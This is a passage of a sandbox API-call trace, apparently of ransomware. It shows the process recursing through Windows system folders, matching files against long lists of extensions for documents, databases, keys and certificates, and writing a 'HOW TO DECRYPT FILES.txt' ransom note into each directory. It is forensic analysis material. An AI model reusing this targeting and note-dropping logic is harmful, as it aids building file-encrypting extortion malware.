(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.png") returned 0 [0165.270] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.php") returned 0 [0165.270] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.cs") returned 0 [0165.270] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.cpp") returned 0 [0165.270] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.rar") returned 0 [0165.271] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.zip") returned 0 [0165.271] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.html") returned 0 [0165.271] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.htm") returned 0 [0165.271] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.xlsx") returned 0 [0165.271] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.xls") returned 0 [0165.272] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.mp4") returned 0 [0165.272] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.ppt") returned 0 [0165.272] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.pptx") returned 0 [0165.272] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.doc") returned 0 [0165.272] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.dot") returned 0 [0165.272] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.docx") returned 0 [0165.273] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.7z") returned 0 [0165.273] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.tar") returned 0 [0165.273] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.bz2") returned 0 [0165.273] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.gz") returned 0 [0165.273] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.mkv") returned 0 [0165.273] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.eml") returned 0 [0165.274] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.msg") returned 0 [0165.274] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.edb") returned 0 [0165.274] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.accdb") returned 0 [0165.274] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.odb") returned 0 [0165.274] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.java") returned 0 [0165.275] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.asm") returned 0 [0165.275] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.pfx") returned 0 [0165.275] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.pem") returned 0 [0165.275] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.p12") returned 0 [0165.275] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.gpg") returned 0 [0165.275] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.vsd") returned 0 [0165.276] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.odg") returned 0 [0165.276] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.raw") returned 0 [0165.276] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.nef") returned 0 [0165.276] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.svg") returned 0 [0165.276] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.psd") returned 0 [0165.276] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.vmx") returned 0 [0165.277] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.vmdk") returned 0 [0165.277] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.vdi") returned 0 [0165.277] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.lay6") returned 0 [0165.277] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.mpeg") returned 0 [0165.277] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.djvu") returned 0 [0165.278] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.tiff") returned 0 [0165.278] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.backup") returned 0 [0165.278] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.pdf") returned 0 [0165.278] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.cert") returned 0 [0165.278] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.docm") returned 0 [0165.278] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.xlsm") returned 0 [0165.279] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.dwg") returned 0 [0165.279] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.nd") returned 0 [0165.279] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.tlg") returned 0 [0165.279] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.lgb") returned 0 [0165.279] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.mov") returned 0 [0165.280] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.xdw") returned 0 [0165.280] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.ods") returned 0 [0165.280] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.wav") returned 0 [0165.280] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.mp3") returned 0 [0165.280] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.aiff") returned 0 [0165.280] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.flac") returned 0 [0165.281] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.m4a") returned 0 [0165.281] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.csv") returned 0 [0165.281] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a25a0f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3a25a0f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95b4f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet.mof.uninstall", cAlternateFileName="ASPNET~1.UNI")) returned 0 [0165.281] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.281] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94db1b09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94db1b09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94db1b09, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1", cAlternateFileName="AM185A~1.175")) returned 1 [0165.281] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1") returned -1 [0165.281] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1") returned -1 [0165.281] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.281] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1" [0165.282] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94db1b09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94db1b09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94db1b09, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.282] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.282] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94db1b09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94db1b09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94db1b09, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.282] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.282] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.282] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9335c779, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9335c779, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9335c779, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9358, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Aspnet_perf.dll", cAlternateFileName="ASPNET~1.DLL")) returned 1 [0165.282] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.283] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Aspnet_perf.dll") returned 1 [0165.283] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Aspnet_perf.dll") returned 1 [0165.283] lstrcmpiA (lpString1="", lpString2="Aspnet_perf.dll") returned -1 [0165.283] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\*.*") returned="*.*" [0165.283] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\" [0165.283] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\") returned="" [0165.283] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\HOW TO DECRYPT FILES.txt" [0165.283] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\how to decrypt files.txt")) returned 0xffffffff [0165.283] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.284] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.284] CloseHandle (hObject=0xffffffff) returned 0 [0165.284] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\", lpString2="Aspnet_perf.dll" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll" [0165.284] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.ems") returned 0 [0165.284] lstrlenA (lpString="*.ems") returned 5 [0165.284] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.db") returned 0 [0165.284] lstrlenA (lpString="*.db") returned 4 [0165.284] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.dbf") returned 0 [0165.284] lstrlenA (lpString="*.dbf") returned 5 [0165.284] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.myox") returned 0 [0165.284] lstrlenA (lpString="*.myox") returned 6 [0165.284] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.myo") returned 0 [0165.284] lstrlenA (lpString="*.myo") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qbw") returned 0 [0165.285] lstrlenA (lpString="*.qbw") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qbb") returned 0 [0165.285] lstrlenA (lpString="*.qbb") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qbm") returned 0 [0165.285] lstrlenA (lpString="*.qbm") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qbo") returned 0 [0165.285] lstrlenA (lpString="*.qbo") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qbx") returned 0 [0165.285] lstrlenA (lpString="*.qbx") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qba") returned 0 [0165.285] lstrlenA (lpString="*.qba") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qby") returned 0 [0165.285] lstrlenA (lpString="*.qby") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qbj") returned 0 [0165.285] lstrlenA (lpString="*.qbj") returned 5 [0165.285] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.ofx") returned 0 [0165.285] lstrlenA (lpString="*.ofx") returned 5 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.qif") returned 0 [0165.286] lstrlenA (lpString="*.qif") returned 5 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.mye") returned 0 [0165.286] lstrlenA (lpString="*.mye") returned 5 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.mbox") returned 0 [0165.286] lstrlenA (lpString="*.mbox") returned 6 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.eml") returned 0 [0165.286] lstrlenA (lpString="*.eml") returned 5 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.pst") returned 0 [0165.286] lstrlenA (lpString="*.pst") returned 5 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.ost") returned 0 [0165.286] lstrlenA (lpString="*.ost") returned 5 [0165.286] PathMatchSpecA 